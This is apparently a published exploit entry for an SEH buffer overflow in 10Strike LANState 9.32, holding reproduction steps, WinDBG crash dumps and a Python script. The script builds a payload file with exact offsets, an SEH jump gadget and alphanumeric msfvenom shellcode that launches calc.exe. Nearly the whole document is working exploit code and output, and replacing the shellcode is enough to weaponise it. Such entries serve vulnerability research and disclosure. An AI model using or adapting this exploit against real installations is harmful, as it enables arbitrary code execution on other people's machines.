10Strike LANState 9.32 – ‘Force Check’ Buffer Overflow (SEH)
# Exploit Title: 10Strike LANState 9.32 - 'Force Check' Buffer Overflow (SEH) # Date: 2020-04-01 # Exploit Author: Hodorsec # Version: v9.32 x86 # Software Link: https://www.10-strike.com/lanstate/lanstate-setup.exe # Vendor Homepage: https://www.freecommander.com # Tested on: Win7 x86 SP1 - Build 7601 # Description: # - Exploits the "Force Check" option when listing the Host Checks in option "Check List". Entering an overly long string, results in a crash which overwrites SEH. # Reproduction: # - Use indicated OS or manipulate settings: your mileage may vary due to different offsets on other Windows versions / SP's. # - Run the script, a TXT file will be generated # - On the Windows machine, open the TXT file in Wordpad. Copy the contents to clipboard (ctrl+c) # - Open LANState, use any "Map", for example the "demo_map" # - Click on tab "Home", click option "Check List" # - Rightclick on any existing hostname and click "Edit" # - Paste the value from clipboard in the field "Host address (name)" # - Next, Next, Finish # - In the "List of checks" overview, select the modified host and press the spacebar (Force Check) # - Check results # WinDBG initial crash output using only A's: # (c5c.c2c): Access violation - code c0000005 (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # eax=00002759 ebx=0012f838 ecx=000007f6 edx=0012f880 esi=0781bf78 edi=00130000 # eip=00402e57 esp=0012f7d8 ebp=0012f99c iopl=0 nv up ei pl nz na po nc # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202 # *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\10-Strike LANState\LANState.exe # LANState+0x2e57: # 00402e57 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] # 0:000> g # (c5c.c2c): Access violation - code c0000005 (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # eax=0012f98c ebx=0012f98c ecx=05250858 edx=41414141 esi=00000002 edi=0012f7f0 # eip=004053e6 esp=0012f7f8 ebp=0012f99c iopl=0 nv up ei pl nz na pe nc # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210206 # LANState+0x53e6: # 004053e6 8b4af8 mov ecx,dword ptr [edx-8] ds:0023:41414139=???????? # 0:000> g # (c5c.c2c): Access violation - code c0000005 (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # eax=00000000 ebx=00000000 ecx=41414141 edx=77f0720d esi=00000000 edi=00000000 # eip=41414141 esp=0012f298 ebp=0012f2b8 iopl=0 nv up ei pl zr na pe nc # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246 # 41414141 ?? ??? #!/usr/bin/python import sys,struct # Filename filename = "10_strike_lanstate-poc.txt" # Maximum length maxlen = 10000 # Shellcode, using alphanum chars due to bytes considered to be bad above \x7f # msfvenom -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f c -v shellcode # Payload size: 447 bytes shellcode = ( "\xdb\xdc\xd9\x74\x24\xf4\x5b\x53\x59\x49\x49\x49\x49\x49\x49" "\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41" "\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42" "\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b" "\x4c\x78\x68\x6d\x52\x65\x50\x37\x70\x77\x70\x43\x50\x4d\x59" "\x39\x75\x36\x51\x59\x50\x32\x44\x6e\x6b\x32\x70\x46\x50\x6e" "\x6b\x70\x52\x34\x4c\x6e\x6b\x61\x42\x45\x44\x4c\x4b\x54\x32" "\x47\x58\x36\x6f\x6e\x57\x53\x7a\x66\x46\x46\x51\x79\x6f\x4e" "\x4c\x37\x4c\x51\x71\x53\x4c\x44\x42\x44\x6c\x61\x30\x4a\x61" "\x68\x4f\x66\x6d\x73\x31\x49\x57\x59\x72\x58\x72\x30\x52\x56" "\x37\x4e\x6b\x52\x72\x34\x50\x6c\x4b\x33\x7a\x35\x6c\x6c\x4b" "\x42\x6c\x57\x61\x74\x38\x6d\x33\x33\x78\x77\x71\x4b\x61\x32" "\x71\x6e\x6b\x51\x49\x77\x50\x76\x61\x6a\x73\x6e\x6b\x61\x59" "\x67\x68\x79\x73\x57\x4a\x42\x69\x4e\x6b\x37\x44\x6c\x4b\x43" "\x31\x4e\x36\x45\x61\x6b\x4f\x6c\x6c\x6a\x61\x48\x4f\x34\x4d" "\x47\x71\x5a\x67\x37\x48\x39\x70\x62\x55\x4b\x46\x65\x53\x63" "\x4d\x39\x68\x67\x4b\x73\x4d\x46\x44\x53\x45\x79\x74\x76\x38" "\x4c\x4b\x63\x68\x66\x44\x43\x31\x48\x53\x72\x46\x4e\x6b\x76" "\x6c\x70\x4b\x4e\x6b\x61\x48\x57\x6c\x46\x61\x79\x43\x6c\x4b" "\x54\x44\x6e\x6b\x57\x71\x68\x50\x6e\x69\x30\x44\x76\x44\x45" "\x74\x53\x6b\x61\x4b\x65\x31\x62\x79\x31\x4a\x30\x51\x39\x6f" "\x59\x70\x63\x6f\x71\x4f\x50\x5a\x6c\x4b\x56\x72\x4a\x4b\x6c" "\x4d\x73\x6d\x30\x6a\x77\x71\x6e\x6d\x4d\x55\x4e\x52\x37\x70" "\x75\x50\x63\x30\x52\x70\x63\x58\x56\x51\x4e\x6b\x42\x4f\x4e" "\x67\x69\x6f\x49\x45\x4d\x6b\x58\x70\x4d\x65\x6d\x72\x50\x56" "\x75\x38\x6e\x46\x6f\x65\x6f\x4d\x6d\x4d\x39\x6f\x58\x55\x75" "\x6c\x63\x36\x73\x4c\x76\x6a\x6b\x30\x59\x6b\x4d\x30\x52\x55" "\x74\x45\x6f\x4b\x43\x77\x42\x33\x63\x42\x62\x4f\x51\x7a\x77" "\x70\x73\x63\x69\x6f\x58\x55\x72\x43\x30\x61\x72\x4c\x31\x73" "\x46\x4e\x45\x35\x63\x48\x63\x55\x47\x70\x41\x41" ) # Offsets crash_ebp = 228 crash_nseh = 236 crash_seh = crash_nseh + 4 # Variables nops = "\x90" * 16 # Nops # Prefix prefix = "A" * crash_nseh # Filler nseh = "\x71\x06\x70\x04" # JNO # JO # Jump over NSEH/SEH seh = struct.pack("<L", 0x0132730f) # call dword ptr ss:[ebp-04] # [LANState.exe] suffix = nops # Old-school NOP'ing suffix += shellcode # Magic! suffix += "D" * (maxlen - len(prefix + nseh + seh + suffix)) # Filler # Concatenate string for payload payload = prefix + nseh + seh + suffix # Put it all together try: file = open(filename,"wb") file.write(payload) file.close() print "[+] File " + filename + " with size " + str(len(payload)) + " created successfully" except: print "[!] Error creating file!" sys.exit(0) |